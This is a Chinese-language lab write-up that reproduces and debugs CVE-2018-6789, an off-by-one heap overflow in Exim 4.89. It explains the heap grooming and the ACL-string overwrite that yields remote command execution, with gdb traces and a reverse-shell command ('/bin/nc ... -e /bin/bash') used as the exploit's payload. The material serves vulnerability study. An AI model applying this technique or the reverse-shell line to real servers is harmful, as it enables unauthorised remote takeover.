0x00 写在前面
本实验是对 CVE-2018-6789 漏洞的调试分析和复现,所有实验过程均在本地搭建的虚拟机中进行。通过该实验比较深入地理解了该漏洞的成因和利用过程。
请严格遵守所在地法律法规。
0x01 程序分析
漏洞基本信息
Exim 是基于 GPL 协议的开放源代码软件,是一个 MTA ,负责邮件的路由,转发和投递。Exim 被作者设计成可运行于绝大多数的类 UNIX 系统上,包括了 Solaris、AIX、Linux 等。Exim 和其他开源的 MTA 相比,最大的特点是配置极其灵活。
CVE-2018-6789 是一个堆溢出漏洞,在 4.90.1 前的版本上在进行base64解密时对数据长度计算错误,可能会造成一个堆上的一字节溢出,通过综合利用,最终能实现远程代码执行。触发次数是可以一直发包,一直攻击。
根本成因是 b64decode
函数在对不规范的 base64
编码过的数据进行解码时可能会溢出堆上的一个字节,形成经典的 off-by-one
漏洞,官方给出的修补方案为多分配几个字节。
本次实验是 exim-4.89
版本,在 Ubuntu 20.04 x64
上开启 ASLR、NX、PIE、CANARY、FORTIFY;RELRO:FULL 等保护机制等情况下,实现远程 getshell。
直接使用 skysider 提供的 docker 镜像。如果要搭建,所有下载的文件为: exim-4.89.tar exp.py 。
漏洞点分析
在 exim-4.89/src/base64.c:156
处实现了对 base64
数据的解码,核心代码如下:
对 base64
进行解码时,会将 $4$ 个字节作为一组,共计 24bits
,然后解码成 $3$ 个字节,共计 24bits
。
(编码时将原字符顺序连接,
6bits
为一个单位,最多 $64$ 种符号,再加上填充符号 =)
当原本的字符不是 $3$ 的倍数时会将编码后的数据使用 =
进行填充。因此当编码前的数据长度为 $3n+2$ 时,编码后的长度为 $4n+3$。然后仔细看这段代码中的标注的部分,当 $len(code)=4n+3$ 时,我们会发现其计算出来传递给 store_get
的参数是 $3n+1$,而实际解码的数据会占用空间是 $3n+2$,因此就会造成堆的一个字节溢出(off-by-one
)。
官方给出的修补方案为多分配几个字节。
漏洞利用背景知识
exim堆管理机制
exim
在 libc
提供的堆管理机制的基础上实现了一套自己的管理堆块的方法,引入了 store pool
、store block
的概念。store pool
是一个单链表结构,每一个节点都是一个 store block
,每个 store block
的数据大小至少为 0x2000
,storeblock
的结构如下(exim-4.89/src/store.c:71
),自定义对头中维护了一个 next
指针和一个大小 length
,各占 $8$ 字节的空间。
下图展示了一个 storepool
的完整的数据存储方式,chainbase
是头结点,指向第一个 storeblock
,current_block
是尾节点,指向链表中的最后一个节点。store_last_get
指向 current_block
中最后分配的空间, next_yield
指向下一次要分配空间时的起始位置, yield_length
则表示当前 store_block
中剩余的可分配字节数。当 current_block
中的剩余字节数 yield_length
小于请求分配的字节数时,会调用 malloc
分配一个新的 storeblock
块,然后从该 storeblock
中分配需要的空间。
当调用 store_get
时,会经过一些对齐计算和判断是否有空闲空间满足,如果有就返回,没有会调用系统 malloc
进行分配,具体在代码 store.c:129
在函数 store_get_3
中,当对齐传入的 size
后,新申请的空间大小为 size+8+8
即需要的空间大小加上当前 storeblock
定义的块头大小。
不要觉得上面这堆块看起来好像很唬人,但是其实就是做以下几个事:
- 当需要进行堆块申请时,如果不够
0x2000
则会补上,即实际上向libc
申请的最小值就是0x2010
(exim
维护了一个0x10
的头),然后这样一个libc
给的堆块就被称为一个storeblock
。 - 在
libc
给的堆块的数据域起始设置了两个字段,第一个是next
用于指向下一个storeblock
(没有下一个就是NULL
),第二个字段是length
,表示当前有多长。 - 当再有内存需要申请时,先看当前的
storeblock
中剩余的空间是否足够,够就直接切一块返回,不够就新向libc
申请一块作为新的storeblock
,并将当前storeblock
的next
指向新的storeblock
,并将当前storeblock
设置成新的。
exim堆排布函数
EHLO
在 smtp_in.c
中在 1752
行的函数 check_helo
,当用户发送 HELO
消息时,程序会释放之前的 sender_helo_name
并将其置为 NULL
,而后将当前的输入数据 sender_helo_name
通过 string_copy_malloc
存到堆中。
总结效果是,会进行一次 free(old_ptr)
, new_ptr=malloc()
。
在 string.c:440
行定义了函数 string_copy_malloc
Unknown cmd
对于无法识别的,含有不可见字符的命令,都会分配一个缓冲区来将其转化为可打印的存储错误消息。 store_get()
会被调用,会新给一个 store block
。当给出含不可见字符的未知命令时, synprot_error
会调用函数 string_printing
进而调用到 store_get
的。这里可以看到申请的空间大小为 length + nonprintcount * 3 + 1
,因此要触发新 malloc
分配一个,需要当前 store block
能 yield_length
的值比这个小才行。(应该是打印完毕错误信息就会释放了。)
在 smtp_in.c:5572
处
在 string.c:288
处
AUTH
exim
基本使用 base64
编码后与用户客户端进行通信,编码和解码的字符都存储在 store_get()
分配的缓冲区中。对于 AUTH
的数据,也直接往堆空间中进行放置。
该函数分配的缓冲区用于字符串,可以包含不可见字符,可以包含 NULL
, NULL
不一定终止。
重置所有 EHLO、MAIL和RCPT
每当有命令正确完成时,都会调用 smtp_reset()
将前面所有这些块的情况重置到重置点,这意味着执行之后,所有前面通过 store_get()
获取的 store_block
都会被释放。会从最后一个 storeblock
开始,逐一往前释放,直到重置点。
在 store.c:402
处
exim运行模式
exim
作为一个邮件服务端,在服务运行过程中,每当收到一个客户端的请求时就会 fork
出一个子进程对该请求进行处理。
根据这个特性,我们可以爆破出 libc
基址来绕过 ASLR
。
漏洞利用函数
在 exim
的实现中,有一种叫做 ACL, Access Control List
的东西,在 global.c
中定义了这些全局字符串变量。
这些指针在 exim
进程开始时初始化,根据配置进行设置。
例如, configure
中有一行 acl_smtp_mail=acl_check_mail
,则指针 acl_smtp_mail
将不再是空,而是指向字符串 acl_check_mail
。每当使用 MAIL FROM
时, exim
都会执行 ACL
检查,这首先会扩展 acl_check_mail
,然后 exim
遇到 ${run{cmd}}
就会尝试执行命令,所以只要控制 ACL
字符串就可以实现代码执行。
此外,我们不需要直接劫持程序控制流,因此可以轻松绕过 PIE
、 NX
等缓解措施。
在 readconf.c:175
行处定义了该字符串。
在 smtp_in.c:4614
行对该字符串进行检测,如果不为空就触发 ACL
检测,调用函数 acl_check
然后传入参数 acl_smtp_mail
。
漏洞利用思路
可以通过覆盖 acl
字符串为 ${run{command}}
的方式,达到远程命令执行的目的。整体利用的思路流程为:
1、布局堆空间,使得内存中存在一块足够大的连续堆空间,可以用于进行后续的堆申请和释放操作。
2、合理利用堆排布函数,对堆空间进行排布,使得程序执行过程中能申请到一个堆块 vulnerable chunk
处于程序执行过程中之前申请的堆块 illegal chunk
前面,该堆块下一个堆块为程序执行过程中 store_block
所在堆块 victim chunk
。
3、利用 off-by-one
漏洞,在 vulnerable chunk
中形成溢出,修改 illegal chunk
的 size
位,造成内存空间上的重叠。
4、利用空间重叠申请到 illegal chunk
对下一使用中的堆块 victim chunk
进行修改,将其中的 stroe_block
的 next
指针指向 ACL
字符串所在的 store_block
。
5、释放并获取到 ACL
字符串所在堆块,以实现对该数据的篡改。
6、发送 MAIL FROM
数据,触发 ACL
检查,完成利用。
完整利用流程图如下所示:
进行堆排布
这一步是为了布置堆数据,形成一块连续的大小为 0x7040
的空闲堆块,便于后续进行堆块的申请释放等堆操作。使用堆布局函数,进行两次的 EHLO
完成堆布局。
构造漏洞缓冲区堆块
发送 unknown cmd
申请一个堆块,对空闲堆块进行切分,以切出合适的大小,发送的 unknown command
大小要满足 yield_length < (length + nonprintcount * 3+1)
,从而能够调用 malloc
函数分配一个新的 storeblock
。待释放后,会形成一个空闲堆块,能够确定该堆块会出现在这个位置。
构造受害者堆块位置
发送 HELO
请求,回收 unknown command
所占用的内存空间时,此时由于之前的 sender_host_name
占用的内存空间已经释放,会发生合并,形成大小为 0x2050
的空闲块。该堆块等待后续被申请占用,用于对当前堆块的 size
位进行覆写。
溢出覆盖受害者堆块size位
发送 AUTH
数据,利用漏洞,此时的数据大小刚好合适,能放入提前规划的堆空间中,该数据位于此时 sender_host_name
的前面,此时通过 off-by-one
能将下一堆块的 size
最低一字节覆盖形成堆块的覆盖。此时当前堆块结束后,下一堆块是在占用状态,并且存放着 current_block
。延长 size
的堆块将与下一堆块形成堆叠。
构建假堆块
为了绕过堆块申请释放过程的 size
位检测,需要在受害者堆块被释放前,对应虚假位置时构建一个假堆块的,形成一个虚假的 size
。
释放受害者堆块
此时发送 HELO
数据,将修改了 size
位的堆块进行释放,将存在内存堆叠区域的堆块放入 unsorted bin
中。
利用溢出,替换next指针
发送 AUTH
数据,获取刚释放的受害者堆块,此时拿到该堆块中包含了原始合法的下一堆块的堆头,而此时下一堆块中存在一个 store_block
,通过内存的堆叠,在当前堆块的数据区域中可以合法溢出修改下一堆块的部分内容,而 store_block
维护的堆头就在堆数据的起始区域,通过计算偏移,可以将 store_block
中的 next
指针替换为存储 ACL
字符串的 store_block
。
释放所有store_block
此时发送 EHLO
报文,释放所有的 store_block
。于是通过覆盖的 next
指针指向,可以将 ACL
字符串所在的堆块进行释放,能够将该地址加入 unsorted bin
中。
申请空闲堆
此时观测 unsorted bin
中的空闲块,找到 ACL
字符串所在堆块的位置,发送 AUTH
合理进行堆申请,调整 ACL
字符串所在堆块的位置,让其处于当前 unsorted bin
的最后一个位置。
将payload填入ACL块中
发送合适大小的 AUTH
数据,程序会进行堆的申请,将该 AUTH
数据放入 ACL
字符串所在的堆块中。通过计算偏移合适布置堆数据可以将不同的 ACL
字符串进行覆盖,这里是覆盖发送 MAIL
时进行的 ACL
检查的字符串,将其值覆写为 ${run{cmd}}
的形式,若触发了 ACL
检查,检测到该字符串时会将其中的 cmd
进行执行。
触发ACL检查
布置好 payload
后,通过发送一个 MAIL FROM
请求,触发程序的 ACL
检查,从而执行放置的 cmd
命令,完成任意代码执行,获取 shell
。
0x02 成功截图
直接启动现成的 docker
镜像,它会直接启动存在漏洞的 exim
服务。
1 | sudo docker run -it -p 25:25 skysider/vulndocker:cve-2018-6789 |
1 | execute_command(0x95f, '/bin/nc 127.0.0.1 9999 -e /bin/bash') |
在图二的地方启动受害者 docker
,然后在图一的地方开启一个监听,然后在图三的地方爆破出地址,在图五的地方写入反弹回连命令,然后在图四中 exp
运行执行命令,在图一中收到回连,并在 shell
中执行命令 id
成功。
0x03 调试
直接使用 skysider 提供的 docker 镜像。如果要搭建,所有下载的文件为: exim-4.89.tar exp.py 。
第一次启动 (默认的
虽然该利用方式可以爆破,但为了调试方便,避免重启后狠多数据对不上号了,所以先关闭了ASLR。
1 | sudo docker run -it -p 25:25 --privileged --cap-add sys_ptrace --security-opt |
此时,日志中打印的参数可以看到启动命令,由于日志打印的方式也会影响堆空间的排布,因此这个很重要,不同的启动方式可能exp需要进行一定的迁移。
1 | cwd=/work 5 args: /work/exim-4.89/build-Linux-x86_64/exim -bd -d-receive -C conf.conf |
由于向折腾双机调试,所以直接再起一个窗口挂载进去,并将原来的窗口关闭了,自己运行一下试试:
1 | sudo docker exec -it 1cb4954142c0 /bin/bash |
但是很可惜,在启动的容器中进行,根本是杀不死 pid 是 1
1 | root@80f513b38895:/work# ps aux |
第二次启动 (导出导入后)
1 | # 导出 |
导出导入后的启动方式
1 | sudo docker run -it --name exim -p 25:25 test/ubuntu:v1.0 /work/exim-4.89/build-Linux-x86_64/exim -bd -d-receive -C /work/conf.conf |
如果导入后启动 gdb 遇到 gef 启动失败
1 | GEF for linux ready, type `gef' to start, `gef config' to configure |
这是个配置问题,设置一个环境变量即可
1 | export LC_CTYPE=C.UTF-8 |
调试环境搭建
本次实验中所有的
既然双击调试搭建失败,我们进行本地调试,虚拟机挂起后,docker容器里就没有网络了,同时为了避免 docker
重启导致生成的地址不一致,所以配置好了后在该容器运行着的清空下打了个快照。
1 | # 换源 |
上面的配置过程,我已经不经意跑过多次,所以应该是可以一瞬搭建通过的。
PoC
运行原文中提供的 poc.py
然后观测到 docker
中 debug
给出的子进程的 pid
,然后使用 gdb attach
到子进程。
在原文的 PoC
中已经设置了一个暂停(在发送 helo
之后,auth
之前有个 input
)所以此时就是停在 helo
发送后,此时查看堆信息。可以看到在 unsorted bin
中存在一个大小是 0x6060
的堆块。
如果回车就会发送 auth
,而根据博客需要在 b64decode
执行完毕后下断点分析,但是我不知道调用栈,就先下在 b64decode
,再 bt
看调用栈确定调用函数了调用函数是 auth_cram_md5_server
,然后知道是 cram_md5.c:175
调用的,于是反汇编(disassemble)一下确定断点位置(源代码是一行不够精细,我们下在获取长度之后,进行 if
判断前断)
1 | gef➤ disassemble auth_cram_md5_server |
下断点后再回车,发送 auth
数据,在 gbd
中 c
,即执行 auth
后,走到断点处,再查看堆。
然后此时,我们查看堆中的数据。可以看到 unsorted bin
中有一个堆块,显示它的大小是 0x40f0
,其实这个堆大小应该是 0x4040
,但是这里可以看到已经被篡改了,我们可以去内存中看看。
第一个内存位置(0x10c35c0
)是看 unsorted bin
的这个堆块中的内容,可以看到,我们填入的两个字节0xf1f1
修改了下一个块大小(小端,第一行一前一后的两个 \xf1
应该是紧贴的)。
第二个内存位置(0x10c35c0-0x2020
)是紧邻的前一个堆块(内存上连续的),也就是已经分配出去了的部分,事实上被用来存数据了,存的就是 auth
发送过去的数据。,可以看到他的大小是 0x2020
。
第三个内存位置(0x10c35c0+0x4040
)是看紧邻的后一个堆块(内存上连续的),查看原始的堆块结构,可以看到下一个堆块标记的 prev_size
即当前的 0x10c35c0
堆块大小应该是 0x4040
,同时紧邻的下一个堆块自己大小为 0x2020
(size为数据也是),即说明当前unsorted bin是释放状态。
第四个内存位置(0x10c35c0+0x40f0
)是看假如我们就这样修改了大小后继续程序执行,当再次触发从unsorted bin
的空闲块 malloc
分配内存时,系统会去检测的位置。即检测 “当前空闲块位置”+“空闲块大小”位置的块记录的 prev_size
是否与当前空闲块记录的大小一致,不一致将触发内存错误。现在这里一眼看过去就不相等(0x62626262 != 0x40f1
)。
因此需要构建假堆块,而我们构建假堆块时,就是要将堆块重叠处进行一个重新切分,强行将原本下一个堆块的一部分数据切到上一个堆块,然后在结束的地方伪造下一个堆块的长度(原本长度减去分给上面的长度)这样在glibc
看来,这两块内存都是合法的两个块,就不存在内存的重叠了。
现在来计算大小,一个能刚好利用 off-by-one
移除覆盖下一个堆块 size
位的大小。在形成 0x2050
的空闲空间时,堆头占据了 0x10
,所以数据域就是 0x2040
,此时要复用下一个堆块的 prev_size
字段(占用 8
字节),所以就少申请一点空间,即传递到 store_get
的是 0x2040-0x8=0x2038
,而 exim
在进行 storeblock
维护时会嵌入自己的块头,占用空间为 (0x8+0x8
),所以发送到 malloc
的空间就是 0x2038+0x10 = 0x2048
,而 malloc
在收到 0x2048
时,发现这个 unsorted bin
总共只有 0x2050
,堆头占用了 0x10
,所以就复用下一堆块的 prev_size
刚好够 0x8
。考虑到之前说的漏洞处计算规则,真实的数据占用空间是 3n+2
时,会分配 3n+1
的空间,所以再计算一个满足这个溢出的数据,所以就是理论上要存 0x2038
的数据即可。
exp
step0 建立连接
在连接后,就下断点,准备查看一下堆
查看堆信息,发现全是空的,然后我们回车走第一步。
第一步后,其实我也没有仔细去分析中间的堆分配,所以不知道发送的堆块所在的位置是 -0x1010
还是 -0x2020
,就按数据分析是在 0x1010
的位置,可能是初始一开始就是分配了一个 stroblock
然后发现用0x1010
能刚好把剩下的占据完毕吧。这时候 current_block
在 0x10b2370
即当前 sender_host_name
并没有在一个 storeblock
中,而是单独就占用了一个 glibc
分配过来的堆块。所以,总之初始的堆就是这样分配并占用的了,所以接下来要尝试在次堆情况下,去进行堆的排布。
step1 布局堆空间
然后进行再次发送 EHLO
,使得堆块进行释放后又申请,将前面的堆确实合并了,变成了是 0x7040
。
step2 分配新storeblock
上面的 sender_host_name
还在,然后发送的 0x700
的无效字符,还是会占据最小的 0x2020
,此时看到 unsorted bin
中的堆块还剩 0x5020
。查看一下当前存储 unknown cmd
的堆块前后。
可以看到,前后的堆的长相,上面的 0x30
的 sender_host_name
(0x10c00c0-0x30
)还在占用,中间的 0x2020
的 unknown cmd
(0x10c00c0
)还在占用,后面的 0x5020
的 unsorted bin
(0x10c20e0=0x10c00c0+0x2020
)的在空闲状态。
step3 布局 0x2050 的堆块
发送的数据 EHLO
,导致前面的两个堆块( sender_host_name
【0x10c00c0-0x30
】和 unknown cmd
【0x10c00c0
】)都被释放,触发合并,同时在原来的 0x5020
(0x10c20e0
)中切了一块。我们去查看原来的位置就可以发现 x/10xg 0x10c20e0
,大小是 0x2c10
,用于存新的 sender_host_name
,而原来占据开头的 0x30
位置和后面的 0x2020
合并了,并且说明前一个堆块是空闲的。地址还是在 0x10c0090
,所以在 unsorted bin
中显示的最后一个的地址是 0x10c00a0
即 块头+0x10
,去看看数据就知道这个空闲块的大小 x/10xg 0x10c0090
。而原来的 0x5020
切分了 0x2c10
后,还剩的 0x2410
看看 x/10xg 0x10c20e0+0x2c10
,所以在空闲堆块中出现了一个地址是 0x10c4d00=0x10c4cf0+0x10
也是数据区域得加个头。
可以看到此时 0x10c20e0
这堆的 size
还是 0x2c10
。
step4
看到堆里面多了个largebin。
可以看到 0x10c20e0
这堆的 size
已经从 0x2c10(x02c11)
被覆写为了 0x1cf0(2cf1)
。
此时再查看 current_block
可以发现这个 store_block
所在的堆块在内存上,是在被溢出堆块的下一个堆块区域了。此时,切分的堆块还剩的一小块在 unsorted bin
中, size=0x3f0
地址是 (0x10c6d10)
。
1 | p (int)next_yield |
此时看看,覆盖之后,假堆块的位置 x/10xg 0x10c20e0+0x2cf0
里面数据全是 0
。
构建假堆块时,需要在假堆块的 size
位置伪造假堆块的大小,这个大小应该是原始大小减去拼接给上一个堆块的大小。即假堆块的 size
处大小是 0x2020-(0x2cf0-0x2c10)=0x1f40
,剩下的内存空间就是这么多,同时标记上一个堆块在使用,所以应该填入的内容是 0x1f41
。
计算 padding
长度,从 next_yield
到覆写到假堆块的 prev_size
。 (0x10c20e0+0x2cf0+0x8)-0x10c4d18=0xc0
,所以 padding
应该是这么多。但是不知道为啥还有 0x50
的空间被申请了,导致 next_yield
被退后了 0x50
,所以实际的 padding
长度是 0xc0-0x50=0x70
。总之可以通过调试,确保 size 错位堆块+假堆块大小+8
的位置的值应该是 0x1f41
。
Step5
构造假堆块,成功改成预期的值。 x/10xg 0x10c20e0+0x2cf0
,此时我们还可以查看到剩余空间。
1 | p (int)next_yield 0x10c5000 # 后面还有足够的空间,放置少量的信息。 |
step6
发送 helo
释放了 sender_host_name
后,重新占用的字符串很短,在 fake chunk
进行的 auth
时,申请的堆块很能放得下,所以就会直接放里面了。 可以看到 unsorted bin
里面确实放进去了 0x10c20e0
对应的地址 fw
。而且 auth data
占用的堆块还在,而原始的下一个堆块(受害者堆块)的区域已经被系统不理解成一个堆块了,所以 0x2021
并未发生改变,被理解成使用后的垃圾数据了。而构建的假堆块的位置 1f41
成功被修改成了 1f40
因为前置堆块已经释放了,此时计算的 prev_size
也是对的 0x2cf0
。此时,current_block
还未发生改变,还在受害者堆块中,而它不知道自己这个堆块的头和自己这一片的内存都被理解成了上一个堆块的数据区域了,此时只需要再申请到上一个堆块,就可以修改这里面的内容了。
1 | x/10xg 0x10c20e0 |
step7
覆写 acl
字符串时,从数据域填充 0x2c00
后就是下一个 storeblock
的 next
指针(此时再申请到这个目标堆块就是要用到fakesize
绕过 malloc
的检测),此时为啥要将该 storeblock
所属的堆块的 prev_size
填 0
,size
填 0x2021
呢,prev_size
无所谓,反正是被理解为前面堆块正在使用中,size
则是标记当前的大小为 0x2020
,因为一个 storeblock
的最小大小就是这个,在构造 fake
堆块时,原本申请的就是这么个数字,即保持不变。
即 current_block
所属的位置是从第二个堆块原本的大小结束后,所以将第二个堆块的数据域填满 (0x2c00)
后再填满受害者堆块的块头 (0x10)
后即是 storeblock
所属的 next
区域。而第二个堆块中也封装了 storeblock
的头,所以 0x2c00
的填充只需要填充0x2c00-0x10
即可。
所以最终的 padding
是 0x2c00-0x10+p64(0)+p64(0x2021)
无效字符+ 无所谓的 prev_size
+ 堆块 size
原本就是 0x2021
的实际值。
脚本中发送期望填充的数据是 0x886480
后面的高位数据就保持默认。
通过查查看 x/10xg 0x10c20e0
其中的 next
字段,也能发现,其 next
字段(0x10c20f0
)的值是 0x00000000010cb150
所以,高位值其实就是 0x0000000001
。所以最终填过去的值确实就是 0x0000000001886480
。
但我有一事不解,这个用去覆写
next
的数据占用的堆块,现在究竟是占用状态还是释放状态。我感觉应该是占用状态呀,怎么后面假堆块的位置还说是释放状态呢? 实际看了就是占用状态,应该是参考博客错误了。
其实是使用状态,此时这个大块是被认为有 0x2cf0
但是本次填充只占用了 0x2c20
,所以被切了,切到了 0x10c20e0+0x2c20=0x10c4d00
。此时这个 0x10c4d00
被放在了 smallbin
里面去了,它的 size
显式自己是 d1
,即大小是0xd0(0x2cf0 -0x2c20)
,前一个块在使用中,因为假堆块也在使用中,所以没法合并就进入了 smallbin
。
1 | x/10xg 0x10c20e0 |
此时的 current_block
是 0x10cb150
, 是在当前进去覆写 acl
字符串的 AUTH
数据的堆块的 storeblock
后面。0x10c20e0
。
step8
释放所有的堆块,总之会依次释放。注意到,刚才 0x10c20e0+0x2c10=0x10c4cf0
堆块中的next被篡改了,所以这个堆块放入的unsortedbin
之后释放的就是 acl
所在的 storeblock
。所以去看堆里面的这个地址被分配到时就改它。
这一步走不通了,爆破也全失败了,应该是环境发生了改变了。我直接先偷看一下 p (char*)acl_smtp_mail
的地址 0x10a1508
。
所以,我在能爆破的环境中偷看了 “acl_check_mail” 与其对应的 storeblock 的偏移,然后就后面用这个进行计算。
通过能爆出来的版本,我去找到了这个storeblock的相对偏移。
(gdb) p (int)current_block
0x1820d00
所以,0x1820d00-0x10 就是第三个堆块,再-0x2c10就是中间堆块
0x181e0e0 就是中间堆块覆写完后的堆块
(gdb) x/10xg 0x181e0e0+0x2c10
0x1820cf0: 0x0000000000000000 0x0000000000002021
0x1820d00: 0x00000000017fd480 0x00000000000000d1
0x1820d10: 0x00007f23858ffc38 0x00007f23858ffc380x17fd480 就是 acl 所在 storeblock 所属的起始
(gdb) p (char*)acl_smtp_mail
$2 = 0x17fd508 “acl_check_mail”相差 0x88,排除storeblock的头,填入的偏移为 0x78. 与exp一致了。
(gdb) x/24xg 0x17fd470
0x17fd470: 0x0000000000000030 0x0000000000002021
0x17fd480: 0x00000000018020e0 0x0000000000002000
0x17fd490: 0x6e6f632e666e6f63 0x0000000000000066
0x17fd4a0: 0x00002f6b726f772f 0x0000000000000000
0x17fd4b0: 0x0000000000000000 0x0000000000000000
0x17fd4c0: 0x0000000000000000 0x0000000000000000
0x17fd4d0: 0x0000000000000000 0x0000000000000000
0x17fd4e0: 0x0000000000000000 0x0000000000000000
0x17fd4f0: 0x0000000000000000 0x0000000000000000
0x17fd500: 0x0000000000000000 0x636568635f6c6361
0x17fd510: 0x00006c69616d5f6b 0x636568635f6c6361
0x17fd520: 0x0000617461645f6b 0x3863353136353662
所以计算出我这个环境中 acl
字符串所在的 storeblock
地址是 0x10a1508-0x88=0x10a1480
。所以就是用这个去覆盖 next
。 传入的爆破数值就是 0xa1
。
re-step7
所以,我们重新来,直接快进到这一步(第七步)。调整之后,其他都一模一样,区别就是我们填入的值不一样了。这次是 0x10a1480
。
x/10xg 0x10c20e0+0x2c10
re-step8
重来,我们释放所有的堆块,此时观测到 unsortedbin
中有大量的堆块,我们要记住刚才是让 0x10c20e0+0x2c10
的 next
指向了 acl
的 storeblock
,所以通过这个来定位即可。也可以直接看地址 0x10a1480
。如下图,我们高亮的部分就是 acl
所在的块。
所以接下来就是想办法一直申请 unsortedbin
中的块,拿到这个块。
此时需要注意,small bin
中的块,0x10c4d20
它的大小是 0xb0
,它被一个 unsortedbin
给包裹了——Chunk(addr=0x10c4d00, size=0x2020, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
所以在拿到这个 unsorted bin
后需要在数据中维护好这个smallbin
的结构,否则会触发崩溃。
step9
~~0x10c4d00
开始写数据,0x10
的 storeblock
的头,然后写到 ~~
然后,进行一次 auth
发送的数据长度是 0x1f80
然后,分配空间会去找一个 0x2000
的(有两个头,事实上是总空间 0x2020
) ,所以第一个 unsortedbin
太大了,就被放入了 large bin
。然后第二个就满足了就被取出来了,查看数据可以发现。
此时,再申请合适大小的,就可以拿到这个 acl
堆块。并且,我们已经得知这个偏移是 0x78=0x88-0x10
在覆盖前再看看acl_smtp_mail
的值。x/24xg 0x10a1480
覆盖后可以看到 acl
中我们想覆盖值就已经写成了预期的值。完成覆写,然后发送一个消息触发利用即可。
success
成功创建了文件,命令执行成功,此时随便更换命令即可。
0x04 总结与思考
通过对该漏洞对复现分析,此类漏洞的利用大概步骤应该如下:(个人总结向)
- 首先根据漏洞点分析漏洞成因,了解漏洞触发的条件和限制。
- 要进行堆溢出漏洞点的利用。就需要了解目标软件正常流程中都有哪些相关的堆操作函数,通过巧妙布置这些堆操作函数,从而巧妙操控堆进行布局,进而实现最终的漏洞利用。
- 最后结合程序特性,合理排布堆,实现漏洞的利用。
0x05 参考连接
整体利用方法: https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789
ACL使用原理和功能函数: https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/
协助分析ACL控制流: https://cloud.tencent.com/developer/article/1396128